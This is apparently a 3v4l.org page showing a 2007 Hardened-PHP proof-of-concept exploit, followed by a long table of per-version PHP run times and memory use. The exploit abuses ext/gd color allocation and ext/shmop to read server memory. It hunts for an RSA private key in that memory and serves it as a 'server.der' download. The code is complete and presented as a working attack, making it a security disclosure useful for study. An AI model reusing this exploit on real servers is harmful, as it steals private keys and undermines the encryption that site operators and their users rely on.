3v4l.org

run code in 300+ PHP versions simultaneously
<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP ext/shmop SSL RSA Private-Key Disclosure Exploit // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. if (!extension_loaded("gd") || !extension_loaded("shmop")) { die("This demonstration exploit only works with ext/gd and ext/shmop loaded."); } function init() { global $rid; $rid = imagecreate(10,10); imagecolorallocate($rid, 0, 0, 0); imagecolorallocate($rid, 0, 0, 0); } function peek($addr, $size) { global $rid; imagecolordeallocate($rid, 0); imagecolordeallocate($rid, 1); imagecolorallocate($rid, $addr, 0, 0); imagecolorallocate($rid, $size, 0, 0); return shmop_read((int)$rid, 0, $size); } init(); $offset = 0x08048000 + 1024 * 64; while (1) { $data = peek($offset, 1024 + 16); $position = strpos($data, "\x30\x82"); if ($position !== false && $position < 1024) { // Potential Key if (substr($data, $position+4, 4) == "\x02\x01\x00\x02") { $length = ord($data[$position+2])*256+ord($data[$position+3])+4; $keydata = peek($offset + $position, $length); // Assume an exponent of 0x10001 to really find a RSA key and not a DSA one if (strpos($keydata, "\x01\x00\x01") > 0) break; } } $offset += 1024; } header("Content-type: application/octet-stream"); header("Content-Disposition: attachment; filename=\"server.der\""); echo $keydata; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0130.00718.56
8.3.50.0130.00822.11
8.3.40.0090.00618.73
8.3.30.0150.00718.67
8.3.20.0000.00918.77
8.3.10.0040.00420.54
8.3.00.0080.00417.63
8.2.180.0140.00717.93
8.2.170.0110.00422.96
8.2.160.0120.00622.25
8.2.150.0040.00424.18
8.2.140.0000.00824.66
8.2.130.0040.00426.16
8.2.120.0070.00719.77
8.2.110.0050.00522.25
8.2.100.0060.00617.91
8.2.90.0040.00418.03
8.2.80.0080.00017.97
8.2.70.0030.00717.75
8.2.60.0060.00317.93
8.2.50.0000.00818.07
8.2.40.0040.00418.22
8.2.30.0040.00419.80
8.2.20.0040.00417.75
8.2.10.0000.00817.79
8.2.00.0000.00817.90
8.1.280.0070.00725.92
8.1.270.0060.00323.99
8.1.260.0040.00426.35
8.1.250.0080.00028.09
8.1.240.0030.00623.88
8.1.230.0080.00420.97
8.1.220.0050.00317.74
8.1.210.0080.00018.77
8.1.200.0000.00917.25
8.1.190.0060.00317.40
8.1.180.0060.00318.10
8.1.170.0050.00218.88
8.1.160.0070.00018.83
8.1.150.0000.00818.62
8.1.140.0040.00417.42
8.1.130.0030.00317.81
8.1.120.0050.00217.41
8.1.110.0040.00417.34
8.1.100.0040.00417.36
8.1.90.0080.00017.48
8.1.80.0000.00717.47
8.1.70.0030.00317.37
8.1.60.0000.00817.53
8.1.50.0040.00417.44
8.1.40.0040.00417.39
8.1.30.0050.00317.46
8.1.20.0050.00317.66
8.1.10.0040.00417.46
8.1.00.0080.00017.47
8.0.300.0000.00820.02
8.0.290.0040.00417.00
8.0.280.0070.00018.42
8.0.270.0040.00417.15
8.0.260.0070.00018.48
8.0.250.0040.00417.04
8.0.240.0000.00816.88
8.0.230.0000.00816.90
8.0.220.0030.00316.81
8.0.210.0030.00316.90
8.0.200.0030.00317.02
8.0.190.0000.00716.99
8.0.180.0050.00216.99
8.0.170.0000.00816.92
8.0.160.0040.00416.84
8.0.150.0060.00316.88
8.0.140.0040.00416.89
8.0.130.0060.00013.30
8.0.120.0070.00016.78
8.0.110.0030.00617.00
8.0.100.0040.00416.81
8.0.90.0040.00417.00
8.0.80.0070.00716.86
8.0.70.0050.00216.93
8.0.60.0000.00716.89
8.0.50.0040.00416.82
8.0.30.0110.01116.99
8.0.20.0130.01017.40
8.0.10.0030.00616.93
8.0.00.0080.01216.86
7.4.330.0030.00314.70
7.4.320.0030.00316.46
7.4.300.0030.00316.53
7.4.290.0070.00016.54
7.4.280.0040.00416.50
7.4.270.0030.00316.52
7.4.260.0000.00513.18
7.4.250.0040.00416.52
7.4.240.0000.00716.58
7.4.230.0050.00216.37
7.4.220.0160.00916.37
7.4.210.0080.00816.54
7.4.200.0020.00516.59
7.4.190.0000.00716.45
7.4.160.0120.00316.48
7.4.150.0060.01217.40
7.4.140.0130.00717.17
7.4.130.0030.01316.51
7.4.120.0090.00716.36
7.4.110.0090.00916.49
7.4.100.0140.00416.45
7.4.90.0120.00616.26
7.4.80.0090.00919.03
7.4.70.0060.01216.32
7.4.60.0070.01116.51
7.4.50.0030.00316.51
7.4.40.0080.00422.27
7.4.30.0030.01316.59
7.4.10.0070.01014.90
7.4.00.0100.00815.00
7.3.330.0020.00213.30
7.3.320.0000.00613.22
7.3.310.0070.00016.33
7.3.300.0030.00316.20
7.3.290.0100.01016.26
7.3.280.0080.00716.28
7.3.270.0070.01017.40
7.3.260.0090.00818.24
7.3.250.0060.01216.34
7.3.240.0100.00716.36
7.3.230.0070.01016.44
7.3.210.0100.00716.32
7.3.200.0070.01119.39
7.3.190.0070.01516.41
7.3.180.0060.00916.49
7.3.170.0130.01016.48
7.3.160.0040.01216.38
7.3.130.0060.00914.61
7.3.120.0090.00714.71
7.3.110.0090.01214.36
7.3.100.0070.00714.61
7.3.90.0040.01114.82
7.3.80.0030.01314.73
7.3.70.0040.01114.87
7.3.60.0060.00614.70
7.3.50.0060.00314.79
7.3.40.0090.00614.80
7.3.30.0080.00614.54
7.3.20.0030.01016.57
7.3.10.0070.00716.63
7.3.00.0080.00616.64
7.2.330.0060.01216.51
7.2.320.0200.00616.61
7.2.310.0130.01316.55
7.2.300.0040.01316.50
7.2.290.0040.01416.51
7.2.260.0100.00315.19
7.2.250.0080.00815.11
7.2.240.0070.00714.87
7.2.230.0030.01415.12
7.2.220.0040.01114.94
7.2.210.0070.00714.89
7.2.200.0100.00614.96
7.2.190.0070.01015.01
7.2.180.0000.01314.75
7.2.170.0100.00614.89
7.2.160.0120.00314.89
7.2.150.0000.01616.95
7.2.140.0000.01516.71
7.2.130.0110.00416.85
7.2.120.0080.00616.67
7.2.110.0080.00816.67
7.2.100.0070.00716.78
7.2.90.0080.00516.80
7.2.80.0040.01116.81
7.2.70.0070.00716.69
7.2.60.0080.00916.72
7.2.50.0060.00516.83
7.2.40.0020.01216.77
7.2.30.0060.00616.71
7.2.20.0060.00616.81
7.2.10.0080.00616.57
7.2.00.0030.01017.33
7.1.330.0000.01615.59
7.1.320.0030.00615.85
7.1.310.0070.00715.78
7.1.300.0030.01015.89
7.1.290.0060.00315.76
7.1.280.0060.01215.88
7.1.270.0070.00715.75
7.1.260.0060.00615.59
7.1.250.0040.00915.55
7.1.240.0050.00515.70
7.1.230.0090.00515.67
7.1.220.0050.00815.61
7.1.210.0020.01015.69
7.1.200.0080.00615.67
7.1.190.0070.00415.76
7.1.180.0050.00715.69
7.1.170.0040.00915.70
7.1.160.0040.00915.71
7.1.150.0030.00615.46
7.1.140.0090.00415.66
7.1.130.0050.00515.65
7.1.120.0060.00515.72
7.1.110.0040.00715.89
7.1.100.0050.00816.43
7.1.90.0050.00815.71
7.1.80.0090.00515.73
7.1.70.0070.00715.99
7.1.60.0100.00616.83
7.1.50.0070.00716.12
7.1.40.0030.00815.70
7.1.30.0000.01215.54
7.1.20.0070.00715.68
7.1.10.0020.00915.58
7.1.00.0060.02617.94
7.0.330.0080.00315.31
7.0.320.0030.01015.35
7.0.310.0050.00515.21
7.0.300.0090.00215.27
7.0.290.0050.00815.23
7.0.280.0090.00315.14
7.0.270.0060.00415.32
7.0.260.0040.00715.26
7.0.250.0070.00515.28
7.0.240.0060.00715.25
7.0.230.0050.00915.21
7.0.220.0050.00615.25
7.0.210.0080.00815.18
7.0.200.0060.00715.59
7.0.190.0050.00715.30
7.0.180.0070.00915.37
7.0.170.0070.00515.30
7.0.160.0020.01115.19
7.0.150.0040.00915.19
7.0.140.0110.02317.64
7.0.130.0070.00715.18
7.0.120.0070.00415.43
7.0.110.0090.00315.33
7.0.100.0070.00715.29
7.0.90.0070.00715.45
7.0.80.0060.00615.14
7.0.70.0050.00515.35
7.0.60.0090.03016.80
7.0.50.0060.02116.21
7.0.40.0040.02214.88
7.0.30.0030.03514.95
7.0.20.0050.02414.88
7.0.10.0080.02914.88
7.0.00.0060.02714.75
5.6.400.0030.01014.14
5.6.390.0090.00314.53
5.6.380.0030.00914.44
5.6.370.0020.01314.07
5.6.360.0080.00414.46
5.6.350.0060.00314.25
5.6.340.0010.00814.18
5.6.330.0060.00714.08
5.6.320.0030.01114.34
5.6.310.0030.00814.37
5.6.300.0090.00714.21
5.6.290.0090.00514.09
5.6.280.0070.00514.36
5.6.270.0040.00614.38
5.6.260.0000.01514.25
5.6.250.0070.00814.43
5.6.240.0070.00614.13
5.6.230.0060.00614.23
5.6.220.0020.01214.40
5.6.210.0090.01616.32
5.6.200.0090.02715.66
5.6.190.0070.02315.63
5.6.180.0070.03615.59
5.6.170.0050.02215.62
5.6.160.0080.02815.56
5.6.150.0070.03015.50
5.6.140.0070.03315.64
5.6.130.0050.03315.47
5.6.120.0050.03215.54
5.6.110.0010.02315.56
5.6.100.0080.02515.54
5.6.90.0090.03115.61
5.6.80.0090.02815.24
5.6.70.0050.02615.21
5.6.60.0010.02015.47
5.6.50.0030.02015.40
5.6.40.0040.01915.46
5.6.30.0040.01615.38
5.6.20.0030.02715.39
5.6.10.0050.01715.31
5.6.00.0060.01615.23
5.5.380.0060.00712.59
5.5.370.0040.00612.64
5.5.360.0100.00512.75
5.5.350.1390.01815.07
5.5.340.0070.02914.50
5.5.330.0100.02714.35
5.5.320.0060.01914.39
5.5.310.0070.02514.46
5.5.300.0050.03014.31
5.5.290.0070.03314.45
5.5.280.0080.02714.27
5.5.270.0040.02014.40
5.5.260.0050.02514.37
5.5.250.0040.02514.37
5.5.240.0060.02514.13
5.5.230.0070.01814.15
5.5.220.0050.02014.24
5.5.210.0020.01814.16
5.5.200.0020.02414.10
5.5.190.0050.01814.23
5.5.180.0040.01614.17
5.5.170.0060.00512.45
5.5.160.0060.01414.10
5.5.150.0060.01613.94
5.5.140.0050.01814.34
5.5.130.0050.01714.27
5.5.120.0060.02014.04
5.5.110.0060.01414.30
5.5.100.0040.01614.04
5.5.90.0030.01814.25
5.5.80.0040.01914.15
5.5.70.0100.01314.16
5.5.60.0070.01414.16
5.5.50.0080.01314.07
5.5.40.0040.01714.15
5.5.30.0010.02014.04
5.5.20.0020.02014.12
5.5.10.0070.01413.95
5.5.00.0050.01514.01
5.4.450.0050.02013.78
5.4.440.0060.02913.79
5.4.430.0040.01913.69
5.4.420.0070.02813.72
5.4.410.0030.02613.80
5.4.400.0040.01713.50
5.4.390.0010.02613.69
5.4.380.0020.02013.60
5.4.370.0040.01713.61
5.4.360.0030.01713.65
5.4.350.0030.01713.54
5.4.340.0050.01713.59
5.4.330.0050.00810.91
5.4.320.0060.01813.56
5.4.310.0080.01313.57
5.4.300.0030.01613.67
5.4.290.0060.01513.64
5.4.280.0020.01813.42
5.4.270.0070.01513.78
5.4.260.0050.01613.58
5.4.250.0060.01513.52
5.4.240.0050.01713.53
5.4.230.0050.01613.37
5.4.220.0020.01713.59
5.4.210.0030.01713.50
5.4.200.0060.01213.58
5.4.190.0050.01613.41
5.4.180.0050.01213.58
5.4.170.0060.01313.68
5.4.160.0010.01813.58
5.4.150.0050.01613.53
5.4.140.0050.01512.62
5.4.130.0030.02912.66
5.4.120.0060.02112.75
5.4.110.0070.02612.83
5.4.100.0050.01512.62
5.4.90.0090.01312.73
5.4.80.0080.02412.63
5.4.70.0030.02912.58
5.4.60.0040.02412.60
5.4.50.0040.02512.85
5.4.40.0040.02912.76
5.4.30.0040.02312.69
5.4.20.0030.02412.72
5.4.10.0030.03112.75
5.4.00.0020.02712.61
5.3.290.0070.01611.93
5.3.280.0050.01611.92
5.3.270.0050.01211.87
5.3.260.0020.01811.88
5.3.250.0020.01511.95
5.3.240.0030.01611.82
5.3.230.0050.01811.87
5.3.220.0050.02611.83
5.3.210.0020.03211.79
5.3.200.0040.01911.82
5.3.190.0060.02311.84
5.3.180.0070.02811.81
5.3.170.0030.02111.84
5.3.160.0040.03011.76
5.3.150.0040.02711.94
5.3.140.0020.02111.85
5.3.130.0000.03211.92
5.3.120.0090.02711.88
5.3.110.0020.01911.73
5.3.100.0050.02711.70
5.3.90.0020.02011.69
5.3.80.0060.02911.60
5.3.70.0030.02011.62
5.3.60.0020.01811.60
5.3.50.0060.02911.62
5.3.40.0020.02611.59
5.3.30.0050.02511.56
5.3.20.0040.02111.48
5.3.10.0020.02111.50
5.3.00.0050.02911.28
5.2.170.0000.02810.65
5.2.160.0050.03210.65
5.2.150.0060.03110.66
5.2.140.0080.02210.70
5.2.130.0060.03010.73
5.2.120.0020.03510.68
5.2.110.0070.01810.68
5.2.100.0030.02410.72
5.2.90.0050.02310.72
5.2.80.0070.03210.69
5.2.70.0060.02710.71
5.2.60.0030.02810.61
5.2.50.0030.03210.63
5.2.40.0050.03110.58
5.2.30.0060.03010.66
5.2.20.0030.02010.72
5.2.10.0070.03310.55
5.2.00.0030.02810.51
5.1.60.0050.02110.17
5.1.50.0040.03010.09
5.1.40.0060.02010.23
5.1.30.0050.02710.35
5.1.20.0050.02810.33
5.1.10.0020.02810.16
5.1.00.0000.03010.17
5.0.50.0020.0259.39
5.0.40.0030.0209.35
5.0.30.0000.0399.35
5.0.20.0030.0239.23
5.0.10.0020.0199.21
5.0.00.0000.0299.25
4.4.90.0020.0139.11
4.4.80.0030.0209.11
4.4.70.0020.0239.11
4.4.60.0020.0229.11
4.4.50.0020.0189.11
4.4.40.0030.0289.11
4.4.30.0040.0189.11
4.4.20.0060.0179.11
4.4.10.0070.0179.11
4.4.00.0000.0239.11
4.3.110.0020.0229.11
4.3.100.0030.0189.11
4.3.90.0030.0209.11
4.3.80.0010.0309.11
4.3.70.0070.0139.11
4.3.60.0030.0189.11
4.3.50.0030.0179.11
4.3.40.0000.0269.11
4.3.30.0030.0199.11
4.3.20.0000.0249.11
4.3.10.0070.0179.11
4.3.00.0020.0139.11

preferences:
41.72 ms | 401 KiB | 5 Q